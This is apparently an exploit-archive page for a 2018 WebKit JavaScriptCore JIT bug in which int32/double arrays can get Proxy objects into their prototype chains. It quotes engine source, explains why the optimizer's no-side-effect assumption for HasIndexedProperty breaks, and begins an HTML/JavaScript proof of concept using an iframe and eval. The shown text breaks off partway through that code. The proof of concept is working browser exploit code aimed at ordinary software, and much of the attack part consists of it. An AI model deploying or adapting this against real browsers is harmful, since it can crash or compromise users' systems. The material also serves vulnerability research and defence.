Webkit jit int32/double arrays can have proxy objects in the prototype chains Vulnerability / Exploit
/
/
/
Exploits / Vulnerability Discovered : 2018-12-13 |
Type : dos |
Platform : multiple
This exploit / vulnerability Webkit jit int32/double arrays can have proxy objects in the prototype chains is for educational purposes only and if it is used you will do on your own risk!
if (!anyObjectInChainMayInterceptIndexedAccesses(vm))
return;
if (mayBePrototype()) {
structure(vm)->globalObject()->haveABadTime(vm);
return;
}
if (!hasIndexedProperties(indexingType()))
return;
if (shouldUseSlowPut(indexingType()))
return;
switchToSlowPutArrayStorage(vm);
}
JavaScriptCore doesn't allow native arrays to have Proxy objects as prototypes. If we try to set the prototype of an array to a Proxy object, it will end up calling either switchToSlowPutArrayStorage or haveABadTime in the above method. switchToSlowPutArrayStorage will transition the array to a SlowPutArrayStorage array. And haveABadTime will call switchToSlowPutArrayStorage on every object in the VM on a first call. Since subsequent calls to haveABadTime won't have any effect, with two global objects we can create an array having a Proxy object in the prototype chain.
Exploit:
case HasIndexedProperty: {
ArrayMode mode = node->arrayMode();
switch (mode.type()) {
case Array::Int32:
case Array::Double:
case Array::Contiguous:
case Array::ArrayStorage: {
break;
}
default: {
clobberWorld();
break;
}
}
setNonCellTypeForNode(node, SpecBoolean);
break;
}
The above routine is based on the assumption that if the input array is a native array, it can't intercept indexed accesses therefore it will have no side effects. But actually we can create such arrays which break that assumption making it exploitable.
PoC:
-->
<body>
<script>
function opt(arr, arr2) {
arr[1] = 1.1;
let tmp = 0 in arr2;
arr[0] = 2.3023e-320;
return tmp;
}
function main() {
let o = document.body.appendChild(document.createElement('iframe')).contentWindow;
// haveABadTime
o.eval(`
let p = new Proxy({}, {});
let a = {__proto__: {}};
a.__proto__.__proto__ = p;
`);